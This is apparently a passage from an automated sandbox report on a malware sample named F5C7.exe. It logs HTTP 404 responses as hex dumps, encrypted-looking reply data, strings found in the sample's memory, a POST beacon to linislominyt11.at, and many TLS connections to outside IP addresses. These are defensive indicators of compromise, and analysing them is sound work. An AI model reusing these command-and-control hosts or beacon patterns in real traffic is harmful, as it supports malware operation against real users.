20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0e 81 08 dd 51 c1 fe 05 a6 3d bf 2c 44 4a 32 f1 63 03 65 9f 5c 2f 0a 6a d4 e3 87 b3 d8 6b cc 76 72 17 37 b6 fd ab b7 4d 7c 93 23 28 bf cc 86 71 ed Data Ascii: Uys/~(`:Q=,DJ2ce\/jkvr7M\|#(q
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 9c 5f c9 4d c8 f1 01 ae 2c f8 64 46 56 3a bf 61 05 69 89 40 30 11 36 82 fc cb ae d4 2a c0 69 27 16 35 ff b7 Data Ascii: Uys/~(u:R_M,dFV:ai@06*i'5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 94 1c c3 5c dd fb 05 a7 2c f2 25 57 17 34 ff 6b 4b 71 9c 54 26 0a 7d 9e a4 8a b8 d0 3c 8a 76 22 48 Data Ascii: Uys/~(u:R\,%W4kKqT&}<v"H
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:28:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 81 03 c4 47 c6 f8 05 b1 26 bf 29 4a 54 78 a6 36 5c 60 de 5c 7a 5d 29 d7 a9 82 ee d0 22 9d 64 7f 5d 65 b4 b7 ee f4 08 39 c3 24 2c eb 80 d0 27 ed 48 6d Data Ascii: Uys/~(u:RG&)JTx6\`\z])"d]e9$,'Hm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:29:09 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:29:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 61 dd 0e 75 78 42 18 1c d4 12 e3 d0 08 81 3f 13 4e 4e 56 32 e0 bf d2 1a 39 33 fe 91 27 71 39 d3 08 e8 17 a5 b2 59 5d a4 54 68 d9 dc c0 73 5b 1e 35 6b ee 9f ef 20 37 c8 d4 c1 61 3d 5b f8 d1 a3 c8 dc 2b 46 31 b0 47 b5 bd 11 26 bb 02 13 13 30 bf 6c 13 d9 e9 64 52 aa 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 52 0b 47 76 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8b 7b 7e 95 f7 ff 78 8d 57 db c4 0d 13 13 5f 01 e1 92 24 18 4f c5 03 41 cb a1 61 7e 9e f5 69 a9 19 17 7e 4f af 9a a1 44 c9 a0 c1 b9 dd 7a 09 90 4e 19 e0 2c 95 a9 18 1a f6 96 be 35 51 61 94 3c 3c 7c 8b 28 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 8b fe e5 0e c0 eb 7e 71 eb d0 f4 1a 40 38 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 23 37 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 ee ff 9d f3 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d a3 df 8e 82 11 e8 e4 1f 8e a1 90 4e b1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 60 36 85 1f d4 bc 68 91 9c 19 06 f1 2c be ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 88 8d 8b 8b e1 72 7b d7 9c a8 c3 e0 2b b9 b5 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c c9 90 f4 52 48 94 3b 96 4d 7b e6 17 3f ec e4 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:29:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 12:29:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 da 18 e4 8f c3 87 f2 e6 6f d7 09 2a b3 44 d5 e9 28 d6 76 c8 4d 7a 38 e0 bb 62 ea 6b 00 b4 d3 29 b3 2d e8 5f 3e 9c b7 5e c8 6b 5f 26 a3 b6 b1 e4 53 f3 dd 65 60 e5 dd 32 71 56 1e c7 92 3d 3b 59 4a 8d 22 bc 89 75 ad 4f 36 f8 37 33 b8 d6 f9 ca ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 50 53 59 01 13 ff 1d 09 52 2b e5 8d 83 7b 9e 45 f4 fe 73 8c 5c db c4 19 10 13 bf 1c a3 92 24 08 4f c5 93 0f cb a1 61 6e de f5 69 89 1a 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a 34 7a 7c 88 2c c8 48 ac d8 c5 4a 98 03 fd 6d 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 8f 94 f6 1a 38 9b 4a d8 19 2e 88 4f 7b 28 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 2f e7 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 27 64 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 c6 e5 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 d9 4d a2 90 4e b1 54 55 a5 9a b4 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 54 61 47 f1 2c 6e ad 03 5b db 1e e4 a6 65 13 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 dc d9 c3 e0 2b 29 f0 bb 01 28 17 28 d2 f8 42 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a

Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: F5C7.exe, 00000010.00000003.512627888.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511897021.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.516302551.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517211796.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/0\| equals www.facebook.com (Facebook)
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/eck/safe equals www.facebook.com (Facebook)
Source: F5C7.exe, 00000010.00000003.520210778.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/fIDq equals www.facebook.com (Facebook)
Source: F5C7.exe, 00000010.00000003.541709193.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.531980865.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/jMsInRpbWUi equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://txmbkk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: linislominyt11.at

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.137.109:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 206.221.182.74:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.91:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.202.54:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.70:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.40.196:443 -> 192.168.2.4:49797 version: TLS 1.2
